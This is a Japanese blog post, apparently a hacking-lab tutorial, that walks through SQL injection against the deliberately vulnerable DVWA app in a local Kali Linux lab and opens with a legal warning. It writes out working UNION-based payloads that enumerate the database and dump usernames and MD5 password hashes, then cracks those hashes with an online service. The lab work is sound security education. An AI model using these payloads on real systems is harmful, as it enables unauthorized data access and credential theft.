LoginSignup
0
1

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング2 DVWAでのSQLインジェクション

Last updated at Posted at 2022-05-26

はじめに

「ハッキング・ラボのつくりかた」p.602-612をもとにkaliLinux2022.1で検証してみた記事です。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

SQLインジェクション

脆弱性のあるWebアプリに、開発者が想定しないSQLを入力することで、データベースを不正に操作する。脆弱性のあるWebアプリには、セキュリティ学習用のDVWAを使用する。

DVWAでSQLインジェクションの演習を行う

前回を参考にして、DVWAの設定をした後、DVWAのURLにアクセスする。
ここでは、"http//192.168.56.5/dvwa/security.php"となる。

レベルの変更

最初から難易度が高いSQLインジェクションを避けるため、DVWAのレベルを変更する。
メニューの「DVWA Security」をクリックして、レベルをlowの変更する。

VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_11_03_12_レベル替.png

SQLインジェクションの手法

すべてのフィールドを表示させる

メニューの「SQL Injection」をクリックする。
User IDに適当な数値、文字値を入れてみると、"select 'First name','Surname' from table name where id = <入力値>"というSQLが実行されていることが推測できる。

入力欄に「1' or 'a'='a」と入力してみる。条件がtrueになりさえすればいいので、「a'='a」などでも構わない。
結果はこの通り。

画像VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_10_52_29_sqlインジェクション1.png

DBシステムのバージョンを取得する

下記の文字列のいずれかを入力する。
「'union select version(),null #」
「'union select @@version,null #」
「'union select version(),null -- 」
「'union select @@version,null -- 」

VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_11_40_05_SQLインジェクション3.png

ホスト名,DB名,ユーザー名を取得する

  • ホスト名とDB名
    「'union select @@hostname,database() #」
    VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_12_21_13_SQLインジェクション4.png
  • ユーザー名
    「'union select user(),'a' #」
    VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_12_27_42_SQLインジェクション5.png

テーブル名の一覧を取得する

mysqlのinformation_schemaデータベースには、データベースに関するメタ情報が保存されている。(データベースやテーブルの一覧など)
下の画像は、Metasploitable2でmysqlを起動して、テーブルを一覧表示させたところ。
information_schemaデータベースのテーブル一覧
VirtualBox_Metasploitable2_26_05_2022_13_33_32.png

このうち、同書p606で紹介されているテーブルはこちら。

テーブル名 概要
schemata DB自体のメタ情報、テーブ名や文字コードを確認できる。
tables テーブルのメタ情報,列名table_schemaにDB名、列名table_nameにテーブル名が格納されている。
column(画像ではcolumns) カラム(列)のメタ情報を格納する。tablesと同様に、DB名やテーブル名も格納されている

Metaspoloitable2のMySQLプロンプトのinformation_schema内で、次のSQLを実行した。
select table_name from tables;
VirtualBox_Metasploitable2_26_05_2022_13_47_05.png
同様の出力をWEBアプリ上で行いたい。
次のSQLインジェクション攻撃を実行する。
「'union select table_name,null from information_schema.tables #」

VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_13_47_24_SQLインジェクション6.png

テーブル数が多いので、完璧に把握できないが、同様の出力を行うことが出来た。

DVWAが使用しているテーブルを特定する

テーブルが多いので、DVWAが使用しているテーブルを特定したい。
「'union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #」
where条件句でtable_schemaがdvwaのものを指定する。

VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_14_12_47_SQLインジェクション7.png
usersテーブルのカラム名を参照する。
「'union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #」

出力されたカラム名のうち、userとパスワードに焦点をしぼる。

「'union select user,password from dvwa.users #」
VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_15_01_11_SQLインジェクション8.png
ユーザー名とパスワードのハッシュ値が返された。

パスワードの解析

今回は、パスワードの解析にハッシュ値から元の入力値を調べてくれるウェブサービスを利用する。同書では、MD5 Onlineを利用しているが、どうやら有料化しているみたいなので、CrackStationを利用した。

VirtualBox_kali-linux-2022.1-virtualbox-amd64_26_05_2022_16_43_09_SQLインジェクションハッシュ値.png

結果:

ユーザー名 パスワードのハッシュ ハッシュタイプ パスワード
admin 5f4dcc3b5aa765d61d8327deb882cf99 md5 password
gordonb e99a18c428cb38d5f260853678922e03 md5 abc123
1337 8d3533d75ae2c3966d7e0d4fcc69216b md5 charley
pablo 0d107d09f5bbe40cade3de5c71e9e9b7 md5 letmein
smithy 5f4dcc3b5aa765d61d8327deb882cf99 md5 password

ハッシュからのパスワード解析については、同書のp.611でコマンドfindmyhashが紹介されているが、kaliLinux2022.1にはデフォルトでインストールされておらず、githubにあるものも長い間更新されていないので、使用は控える。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1